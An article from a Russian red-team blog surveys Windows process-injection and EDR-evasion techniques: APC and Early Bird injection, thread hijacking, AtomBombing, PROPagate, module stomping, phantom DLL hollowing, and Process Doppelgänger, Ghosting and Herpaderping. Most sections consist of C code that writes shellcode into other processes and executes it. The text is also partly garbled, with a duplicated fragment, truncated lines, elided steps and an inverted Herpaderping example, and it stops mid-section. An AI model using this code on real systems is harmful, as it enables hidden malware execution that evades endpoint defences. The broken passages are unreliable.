

Продвинутые техники работы с памятью: глубокое погружение в инъекции и выполнение кода

 redsec.by/article/prodvinutye-tehniki-raboty-s-pamyatyu-glubokoe-pogruzhenie-v-inekicii-i-vypolnenie-koda

Red Teams | 27 октября 2025



В предыдущей статье мы установили, что традиционные антивирусы, даже сертифицированные ОАЦ, недостаточны для противодействия современным угрозам, а системы класса Endpoint Detection and Response (EDR) стали новым стандартом защиты благодаря поведенческому анализу. Однако на этом гонка вооружений не заканчивается. Если EDR — это опытный детектив, отслеживающий подозрительное поведение, то атакующие превратились в мастеров конспирации, научившихся действовать так, чтобы их активность выглядела абсолютно легитимной или происходила на том уровне, где детектив уже не может ее разглядеть.

Эта статья — погружение на следующий, более глубокий уровень. Мы разберем продвинутые техники инъекции кода и работы с памятью, которые нацелены на обход не просто антивирусов, а именно EDR-систем и других современных средств защиты. Эти методы используют недокументированные возможности, злоупотребляют легитимными механизмами операционной системы и опускаются на уровень прямого взаимодействия с ядром, чтобы остаться невидимыми. Понимание этих техник критически важно для защитников (Blue Team), чтобы знать, какие индикаторы искать и где находятся "слепые зоны" их инструментов мониторинга.

Асинхронные вызовы процедур (APC Injection)

Asynchronous Procedure Call (APC) — это встроенный механизм Windows, позволяющий добавлять функции в очередь для асинхронного выполнения в контексте определенного потока. Каждый поток имеет свою APC-очередь, которая обрабатывается, когда поток входит в так называемое "alertable state" (состояние ожидания, которое может быть прервано). Атакующие научились злоупотреблять этим легитимным механизмом.

Базовая APC-инъекция

Это классический метод, который ставит в очередь потоков целевого процесса указатель на вредоносный шеллкод.

```
// 1. Открываем целевой процесс
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// 2. Выделяем память в целевом процессе
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);

// 3. Записываем shellcode
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);

// 4. Перечисляем потоки целевого процесса
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);

if (Thread32First(hSnapshot, &te32)) {
    do {
        if (te32.th32OwnerProcessID == targetPID) {
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);

            // 5. Ставим APC в очередь для каждого потока
            QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, NULL);

            CloseHandle(hThread);
        }
    } while (Thread32Next(hSnapshot, &te32));
}
```

```

    }
    } while (Thread32Next(hSnapshot, &te32));
}

```

Ключевые моменты: Поток должен войти в alertable state (через SleepEx, WaitForSingleObjectEx с параметром TRUE, или другие alertable функции) для выполнения APC. Многие легитимные процессы регулярно входят в это состояние, что делает технику жизнеспособной.

Early Bird APC Injection

Early Bird — продвинутая вариация, которая выполняет инъекцию до того, как целевой процесс начнет выполнение, обходя многие EDR-хуки.

```

// 1. Создаем процесс в приостановленном состоянии
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
              FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Выделяем память и записываем shellcode
LPVOID remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);

// 3. Ставим APC в очередь ПЕРЕД возобновлением процесса
QueueUserAPC((PAPCFUNC)remoteBuffer, pi.hThread, NULL);

// 4. Возобновляем главный поток
ResumeThread(pi.hThread);

```

Почему это работает: Когда процесс создается в suspended state, выполнение останавливается перед LdrInitializeThunk — функцией, отвечающей за инициализацию процесса в user-mode. Одна из финальных задач LdrInitializeThunk — вызов NtTestAlert, который опустошает APC-очередь потока. Если EDR еще не успел внедрить свои хуки к этому моменту, shellcode выполнится до их инициализации.

Early Cascade Injection

Early Cascade — усовершенствование Early Bird, которое избегает подозрительного cross-process APC queuing.

Ключевая идея: Вместо прямого вызова QueueUserAPC из внешнего процесса, техника использует функциональный указатель g_pfnSE_DllLoaded внутри ntdll.dll целевого процесса. Этот указатель вызывается во время загрузки DLL и может быть перезаписан для выполнения произвольного кода. Затем этот код сам ставит APC в очередь для своего же потока (intra-process APC queuing), избегая обнаружения EDR.

Early Cryo Bird Injection

```
// 1. Создаем Job Object с ограничениями
HANDLE hJob = CreateJobObject(NULL, NULL);
JOB_OBJECT_EXTENDED_LIMIT_INFORMATION jobLimits = {0};
jobLimits.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
SetInformationJobObject(hJob, JobObjectExtendedLimitInformation,
                        &jobLimits, sizeof(jobLimits));

// 2. Создаем процесс в suspended state
CreateProcessA(targetPath, NULL, NULL, NULL, FALSE,
               CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 3. Назначаем процесс в Job
AssignProcessToJobObject(hJob, pi.hProcess);

// 4. "Замораживаем" процесс через Job
typedef NTSTATUS (NTAPI *pNtSetInformationJobObject)(
    HANDLE JobHandle, JOBOBJECTINFOCLASS JobObjectInformationClass,
    PVOID JobObjectInformation, ULONG JobObjectInformationLength);

pNtSetInformationJobObject NtSetInformationJobObject =
    (pNtSetInformationJobObject)GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                                "NtSetInformationJobObject");

ULONG suspendValue = 1;
NtSetInformationJobObject(hJob, JobObjectFreezeInformation,
                        &suspendValue, sizeof(suspendValue));

// 5. Инъекция shellcode + APC queuing
VirtualAllocEx(...); // Пропущены детали для краткости, как в оригинале
WriteProcessMemory(...); // Пропущены детали для краткости, как в оригинале
QueueUserAPC(...); // Пропущены детали для краткости, как в оригинале

// 6. "Размораживаем" процесс
suspendValue = 0;
NtSetInformationJobObject(hJob, JobObjectFreezeInformation,
                        &suspendValue, sizeof(suspendValue));

// 7. Возобновляем поток
ResumeThread(pi.hThread);
```

Заморозка через Job Object добавляет дополнительный уровень контроля и может обходить некоторые механизмы мониторинга.

Перехват выполнения потока (Thread Execution Hijacking)

Thread Execution Hijacking перехватывает уже существующий поток вместо создания нового, что снижает видимость атаки.

Классический Thread Hijacking

```
// 1. Открываем целевой поток
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
                           THREAD_SET_CONTEXT, FALSE, targetThreadID);

// 2. Приостанавливаем поток
SuspendThread(hThread);

// 3. Получаем контекст потока
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// 4. Выделяем память и записываем shellcode в целевой процесс
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);

// 5. Перенаправляем RIP/EIP на shellcode
#ifdef _WIN64
    ctx.Rip = (DWORD64)remoteBuffer;
#else
    ctx.Eip = (DWORD)remoteBuffer;
#endif

// 6. Устанавливаем измененный контекст
SetThreadContext(hThread, &ctx);

// 7. Возобновляем поток
ResumeThread(hThread);
```

Преимущества: Не создается новых потоков, что уменьшает подозрительные индикаторы. Меньше вызовов API по сравнению с CreateRemoteThread.

Недостатки: Требуется флаги `THREAD_SUSPEND_RESUME` и `THREAD_SET_CONTEXT` при открытии handle, что может отслеживаться EDR через kernel callbacks `ObRegisterCallbacks`.

Waiting Thread Hijacking

Waiting Thread Hijacking — более стелс-версия, которая ищет потоки, уже находящиеся в состоянии ожидания, чтобы минимизировать нарушение легитимного выполнения:

```
// 1. Перечисляем потоки и находим ожидающие
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
```

```

Thread32First(hSnapshot, &te32);
do {
    if (te32.th32OwnerProcessID == targetPID) {
        HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32Threac

        // Проверяем, находится ли поток в состоянии ожидания
        typedef NTSTATUS (NTAPI *pNtQueryInformationThread)(
            HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass,
            PVOID ThreadInformation, ULONG ThreadInformationLength,
            PULONG ReturnLength);

        pNtQueryInformationThread NtQueryInformationThread =
            (pNtQueryInformationThread)GetProcAddress(
                GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread");

        THREAD_BASIC_INFORMATION tbi;
        NtQueryInformationThread(hThread, ThreadBasicInformation,
                                &tbi, sizeof(tbi), NULL);

        // Если поток в состоянии Wait - он идеальный кандидат
        // (проверка через NtQuerySystemInformation + SYSTEM_THREAD_INFORMATION)

        CloseHandle(hThread);
    }
} while (Thread32Next(hSnapshot, &te32));

```

Изогранные методы инъекции через легитимные механизмы ОС

AtomBombing

AtomBombing использует глобальные Atom Tables Windows для хранения shellcode и APC для его выполнения.

```

// 1. Разбиваем shellcode на строки (атомы имеют ограничение размера)
char shellcodeChunk[255];
memcpy(shellcodeChunk, shellcode, min(shellcodeSize, 255));

// 2. Добавляем chunk в глобальную Atom Table
ATOM atom = GlobalAddAtomA(shellcodeChunk);

// 3. Выделяем RW память в целевом процессе
LPVOID targetBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_READWRITE);

// 4. Используем APC для копирования из Atom Table в память процесса
// QueueUserAPC вызывает GlobalGetAtomNameA, который копирует данные
PTHREAD_START_ROUTINE pGlobalGetAtomName =
    (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "GlobalGetAtomNameA");

```

```

// Создаем структуру параметров для GlobalGetAtomNameA
typedef struct _ATOM_PARAMS {
    ATOM nAtom;
    LPSTR lpBuffer;
    int nSize;
} ATOM_PARAMS;

ATOM_PARAMS params = {atom, (LPSTR)targetBuffer, shellcodeSize};
LPVOID paramsRemote = VirtualAllocEx(hProcess, NULL, sizeof(ATOM_PARAMS),
                                     MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, paramsRemote, &params, sizeof(ATOM_PARAMS), NULL);

// 5. Ставим APC для копирования данных
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, targetThreadID);
QueueUserAPC(pGlobalGetAtomName, hThread, (ULONG_PTR)paramsRemote);

// 6. Изменяем права памяти на RX
DWORD oldProtect;
VirtualProtectEx(hProcess, targetBuffer, shellcodeSize,
                PAGE_EXECUTE_READ, &oldProtect);

// 7. Используем ROP для выполнения (обход DEP)
// Строим ROP-цепочку, которая вызывает shellcode

```

Особенность: Shellcode никогда не передается напрямую между процессами через стандартные API вроде WriteProcessMemory. Вместо этого используется легитимный механизм Atom Tables, что затрудняет обнаружение.

PROPagate Injection

PROPagate злоупотребляет свойствами Windows GUI для инъекции кода.

Концепция: Windows API SetWindowSubclass использует внутренние свойства окон (UxSubclassInfo, CC32SubclassInfo) для хранения указателей на callback-функции. Атакующий может перезаписать эти указатели, направив их на свой shellcode.

```

// 1. Находим окно целевого процесса
HWND hWnd = FindWindow(NULL, L"Target Application");

// 2. Выделяем память и записываем shellcode
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, shellcode, shellcodeSize, NULL);

// 3. Получаем адрес UxSubclassInfo property
HANDLE hSubclass = GetProp(hWnd, L"UxSubclassInfo");

// 4. Читаем структуру SUBCLASS_FRAME

```



```

typedef struct _SUBCLASS_FRAME {
    ULONG_PTR uIdSubclass;
    SUBCLASSPROC pfnSubclass; // Callback function pointer
    ULONG_PTR uIdSubclass2;
    DWORD_PTR dwRefData;
} SUBCLASS_FRAME;

SUBCLASS_FRAME frame;
ReadProcessMemory(hProcess, hSubclass, &frame, sizeof(frame), NULL);

// 5. Заменяем указатель на callback на наш shellcode
frame.pfnSubclass = (SUBCLASSPROC)shellcodeAddr;
WriteProcessMemory(hProcess, hSubclass, &frame, sizeof(frame), NULL);

// 6. Триггерим выполнение, отправляя сообщение окну
SendMessage(hWnd, WM_USER, 0, 0);

```

Уникальность: Не требует CreateRemoteThread или других подозрительных API. Shellcode выполняется естественным образом при обработке оконных сообщений.

Манипуляции с модулями: жизнь в тени легитимных DLL

Эти техники используют память, уже выделенную для легитимных, подписанных Microsoft DLL, для размещения и выполнения вредоносного кода.

Module Stomping (DLL Hollowing)

Module Stomping загружает легитимную DLL в процесс, а затем перезаписывает её содержимое shellcode.

```

// 1. Загружаем легитимную DLL в целевой процесс
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID dllPathRemote = VirtualAllocEx(hProcess, NULL, MAX_PATH,
                                       MEM_COMMIT, PAGE_READWRITE);
char dllPath[] = "C:\\Windows\\System32\\amsi.dll";
WriteProcessMemory(hProcess, dllPathRemote, dllPath, strlen(dllPath), NULL);

PTHREAD_START_ROUTINE pLoadLibrary =
    (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary,
                                    dllPathRemote, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

// 2. Находим загруженную DLL в целевом процессе
HMODULE modules[256];
DWORD needed;
EnumProcessModules(hProcess, modules, sizeof(modules), &needed);

HMODULE targetModule = NULL;

```



```

for (DWORD i = 0; i < (needed / sizeof(HMODULE)); i++) {
    char moduleName[MAX_PATH];
    GetModuleBaseNameA(hProcess, modules[i], moduleName, sizeof(moduleName));
    if (strcmp(moduleName, "amsi.dll") == 0) {
        targetModule = modules[i];
        break;
    }
}

// 3. Читаем PE заголовки для определения AddressOfEntryPoint
BYTE headerBuffer[4096];
ReadProcessMemory(hProcess, targetModule, headerBuffer, sizeof(headerBuffer), NULL);

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headerBuffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(headerBuffer + dosHeader->e_lfanew);
LPVOID entryPoint = (LPVOID)((DWORD_PTR)targetModule +
                               ntHeaders->OptionalHeader.AddressOfEntryPoint);

// 4. Переписываем entry point shellcode
WriteProcessMemory(hProcess, entryPoint, shellcode, shellcodeSize, NULL);

// 5. Выполняем с entry point
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)entryPoint,
                  NULL, 0, NULL);

```

Преимущества:

- Shellcode располагается в backed memory (память, связанная с легитимным модулем на диске).
- Не создает RWX регионы памяти.
- Удаленный поток ассоциируется с легитимной Windows DLL.

Module Overloading

Module Overloading — вариация, которая перезаписывает не только entry point, но и целые PE sections неиспользуемыми данными.

```

// После загрузки DLL:

// 1. Анализируем code coverage или статически определяем неиспользуемые секции
// Например, .rsrc, .reloc, или неиспользуемые части .text

// 2. Находим неиспользуемый регион
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    if (strcmp((char*)sectionHeader[i].Name, ".rsrc") == 0) {
        LPVOID sectionAddr = (LPVOID)((DWORD_PTR)targetModule +
                                       sectionHeader[i].VirtualAddress);

        // 3. Изменяем права доступа на RWX
        DWORD oldProtect;

```

```

VirtualProtectEx(hProcess, sectionAddr, shellcodeSize,
                PAGE_EXECUTE_READWRITE, &oldProtect);

// 4. Перезаписываем shellcode
WriteProcessMemory(hProcess, sectionAddr, shellcode, shellcodeSize, NULL);

// 5. Возвращаем RX
VirtualProtectEx(hProcess, sectionAddr, shellcodeSize,
                PAGE_EXECUTE_READ, &oldProtect);

// 6. Выполняем
CreateRemoteThread(hProcess, NULL, 0,
                  (LPTHREAD_START_ROUTINE)sectionAddr, NULL, 0, NULL);
break;
}
}

```

Phantom DLL Hollowing

Phantom DLL Hollowing использует Transactional NTFS (TxF) для создания "фантомных" образов DLL в памяти без изменения файлов на диске.

```

// 1. Создаем TxF транзакцию
HANDLE hTransaction;
typedef NTSTATUS (NTAPI *pNtCreateTransaction)(
    PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, LPGUID Uow,
    HANDLE TmHandle, ULONG CreateOptions, ULONG IsolationLevel,
    ULONG IsolationFlags, PLARGE_INTEGER Timeout, PUNICODE_STRING Description);

pNtCreateTransaction NtCreateTransaction =
    (pNtCreateTransaction)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateTransaction");

NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL,
                    NULL, NULL, 0, 0, 0, NULL, NULL);

// 2. Открываем легитимную DLL в транзакции
HANDLE hFile = CreateFileTransactedW(
    L"C:\\Windows\\System32\\kernel32.dll",
    GENERIC_READ | GENERIC_WRITE, // Нужны права на запись для TxF
    0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
    NULL, hTransaction, NULL, NULL);

// 3. Читаем весь файл DLL
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* dllBuffer = (BYTE*)malloc(fileSize);
DWORD bytesRead;
ReadFile(hFile, dllBuffer, fileSize, &bytesRead, NULL);

// 4. Парсим PE и находим .text секцию
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBuffer;

```

```

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBuffer + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHeaders);

for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
    if (strcmp((char*)sections[i].Name, ".text") == 0) {
        // 5. Перезаписываем .text секцию shellcode
        // ВАЖНО: используем PointerToRawData, т.к. файл еще не mapped
        DWORD textOffset = sections[i].PointerToRawData;
        memcpy(dllBuffer + textOffset, shellcode,
            min(shellcodeSize, sections[i].SizeOfRawData));
        break;
    }
}

// 6. Записываем измененную DLL обратно в транзакцию
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
DWORD bytesWritten;
WriteFile(hFile, dllBuffer, fileSize, &bytesWritten, NULL);

// 7. Создаем секцию из транзакции
HANDLE hSection;
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection, ULONG AllocationAttributes,
    HANDLE FileHandle);

pNtCreateSection NtCreateSection =
    (pNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection");

NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
    PAGE_READONLY, SEC_IMAGE, hFile);

// 8. Мэпим в текущий/удаленный процесс
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
    ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
    ULONG Win32Protect);

pNtMapViewOfSection NtMapViewOfSection =
    (pNtMapViewOfSection)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection");

PVOID baseAddress = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &baseAddress,
    0, 0, NULL, &viewSize, 1, 0, PAGE_READONLY);

// 9. КРИТИЧНО: НЕ коммитим транзакцию - она автоматически откатится
// Файл на диске остается неизменным, но память содержит модифицированный образ
CloseHandle(hFile);

```

```
CloseHandle(hTransaction); // Автоматический rollback
```

```
// 10. baseAddress теперь указывает на "фантомную" DLL с внедренным shellcode  
// Файл на диске: легитимный kernel32.dll (подписан Microsoft)  
// Память: kernel32.dll с shellcode в .text секции
```

Почему это работает: NtCreateSection с флагом SEC_IMAGE создает section из file handle. Если file handle транзакционный, section создается из транзакционного view файла. После rollback транзакции файл на диске возвращается в исходное состояние, но уже созданная секция в памяти сохраняет измененное содержимое. При маппинге этой секции получаем образ с shellcode, backed легитимным файлом на диске.

Иллюзии для EDR: Process Doppelgänger, Ghosting и Herpaderping

Эти техники являются вершиной искусства обмана систем мониторинга, создавая процессы, которые для EDR выглядят совершенно иначе, чем то, что выполняется на самом деле.

Process Doppelgänger

Process Doppelgänger — гибридная техника между Process Hollowing и использованием TxF.

```
// 1. TRANSACT: Создаем транзакцию  
HANDLE hTransaction;  
// ... вызов NtCreateTransaction ...  
NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL,  
                    NULL, NULL, 0, 0, 0, NULL, NULL);  
  
// 2. Создаем файл в транзакции  
HANDLE hTransactedFile = CreateFileTransactedW(  
    L"C:\\Windows\\System32\\calc.exe", // Путь к легитимному .exe  
    GENERIC_READ | GENERIC_WRITE,  
    0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,  
    NULL, hTransaction, NULL, NULL);  
  
// 3. Перезаписываем файл malicious payload  
BYTE* maliciousPayload = ReadMaliciousExe(); // Ваш вредоносный PE  
DWORD bytesWritten;  
WriteFile(hTransactedFile, maliciousPayload, maliciousPayloadSize,  
          &bytesWritten, NULL);  
  
// 4. LOAD: Создаем section из измененного файла  
HANDLE hSection;  
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,  
                PAGE_READONLY, SEC_IMAGE, hTransactedFile);  
  
// 5. ROLLBACK: Откатываем транзакцию  
// Файл на диске возвращается к calc.exe, но section уже создан
```

```

typedef NTSTATUS (NTAPI *pNtRollbackTransaction)(
    HANDLE TransactionHandle, BOOLEAN Wait);
pNtRollbackTransaction NtRollbackTransaction =
    (pNtRollbackTransaction)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtRollbackTransaction");

NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hTransactedFile);
CloseHandle(hTransaction);

// 6. ANIMATE: Создаем процесс из section
typedef NTSTATUS (NTAPI *pNtCreateProcessEx)(
    PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ParentProcess,
    ULONG Flags, HANDLE SectionHandle, HANDLE DebugPort,
    HANDLE ExceptionPort, BOOLEAN InJob);

pNtCreateProcessEx NtCreateProcessEx =
    (pNtCreateProcessEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx");

HANDLE hNewProcess;
NtCreateProcessEx(&hNewProcess, PROCESS_ALL_ACCESS, NULL,
    GetCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

// 7. Создаем process parameters
typedef NTSTATUS (NTAPI *pRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
    PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine,
    PVOID Environment, PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData, ULONG Flags);

// ... инициализация process parameters и PEB (детали в оригинале пропущены)

// 8. Создаем и запускаем главный поток
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
    PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
    SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList);

pNtCreateThreadEx NtCreateThreadEx =
    (pNtCreateThreadEx)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");

HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hNewProcess,
    entryPoint, NULL, FALSE, 0, 0, 0, NULL);

```

Результат: Процесс выполняет вредоносный код, но:

- Windows Defender думает, что это calc.exe (файл на диске легитимен).
- PsSetCreateProcessNotifyRoutineEx callback видит calc.exe.
- Файл на диске никогда не содержал вредоносного кода.

Process Ghosting

Process Ghosting — эволюция Doppelganging, использующая delete-pending файлы вместо транзакций.

```
// 1. Создаем временный файл
HANDLE hFile = CreateFile(L"C:\\Temp\\ghost.tmp",
                          GENERIC_READ | GENERIC_WRITE | DELETE,
                          0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY,
                          NULL);

// 2. Записываем malicious payload
WriteFile(hFile, maliciousPayload, payloadSize, &bytesWritten, NULL);

// 3. Переводим файл в delete-pending состояние
FILE_DISPOSITION_INFORMATION fdi;
fdi.DeleteFile = TRUE;

typedef NTSTATUS (NTAPI *pNtSetInformationFile)(
    HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation, ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass);

pNtSetInformationFile NtSetInformationFile =
    (pNtSetInformationFile)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtSetInformationFile");

IO_STATUS_BLOCK iosb;
NtSetInformationFile(hFile, &iosb, &fdi, sizeof(fdi),
                    FileDispositionInformation);

// 4. Создаем image section из delete-pending файла
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                PAGE_READONLY, SEC_IMAGE, hFile);

// 5. Закрываем handle - файл удаляется, но section остается!
CloseHandle(hFile); // Файл исчезает с диска

// 6. Создаем процесс из "призрачного" section
NtCreateProcessEx(&hNewProcess, PROCESS_ALL_ACCESS, NULL,
                  GetCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

// ... остальное как в Doppelganging (создание параметров процесса, потока)
```

Отличие от Doppelgänger: Не использует TxF (который был частично отключен Microsoft), вместо этого злоупотребляет delete-pending механизмом.

Process Herpaderping

Process Herpaderping модифицирует содержимое исполняемого файла после маппинга, но до создания первого потока.

```
// 1. Создаем легитимный файл
HANDLE hFile = CreateFileW(L"C:\\Temp\\legit.exe",
                           GENERIC_READ | GENERIC_WRITE,
                           0, NULL, CREATE_ALWAYS,
                           FILE_ATTRIBUTE_NORMAL, NULL);

// 2. Записываем ЛЕГИТИМНЫЙ PE
WriteFile(hFile, legitPayload, legitSize, &bytesWritten, NULL);

// 3. Создаем image section из легитимного файла
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                PAGE_READONLY, SEC_IMAGE, hFile);

// 4. Мапим в текущий процесс для чтения
PVOID localBase = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localBase,
                   0, 0, NULL, &viewSize, 1, 0, PAGE_READONLY);

// 5. КРИТИЧЕСКИЙ МОМЕНТ: Перезаписываем файл на диске malicious payload
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
WriteFile(hFile, maliciousPayload, maliciousSize, &bytesWritten, NULL);
FlushFileBuffers(hFile);

// 6. Создаем процесс из section (который все еще содержит легитимный образ)
HANDLE hNewProcess;
NtCreateProcessEx(&hNewProcess, PROCESS_ALL_ACCESS, NULL,
                  GetCurrentProcess(), 0, hSection, NULL, NULL, FALSE);

// 7. Создаем главный поток
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hNewProcess,
                 entryPoint, NULL, FALSE, 0, 0, 0, NULL);

// 8. Закрываем handle файла
CloseHandle(hFile);

// РЕЗУЛЬТАТ:
// - Процесс выполняет легитимный код (из section)
// - Файл на диске содержит malicious код
// - EDR, сканирующий при IRP_MJ_CLEANUP, видит malicious файл, но процесс уже запущен
```

Workflow: write (legit) → map → modify (malicious) → execute → close.

Mapping Injection (NtMapViewOfSection)

Mapping Injection использует разделяемые секции памяти для передачи shellcode между процессами.

```
// 1. Создаем section object (разделяемая память)
HANDLE hSection = NULL;
LARGE_INTEGER sectionSize;
sectionSize.QuadPart = shellcodeSize;

typedef NTSTATUS (NTAPI *pNtCreateSection)(
    PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection, ULONG AllocationAttributes,
    HANDLE FileHandle);

pNtCreateSection NtCreateSection =
    (pNtCreateSection)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateSection");

NtCreateSection(&hSection,
                SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
                NULL, &sectionSize, PAGE_EXECUTE_READWRITE,
                SEC_COMMIT, // Backed by pagefile, not file
                NULL);

// 2. Манипулируем view в ЛОКАЛЬНЫЙ процесс с RW правами
PVOID localView = NULL;
SIZE_T localViewSize = 0;

typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
    ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
    ULONG Win32Protect);

pNtMapViewOfSection NtMapViewOfSection =
    (pNtMapViewOfSection)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection");

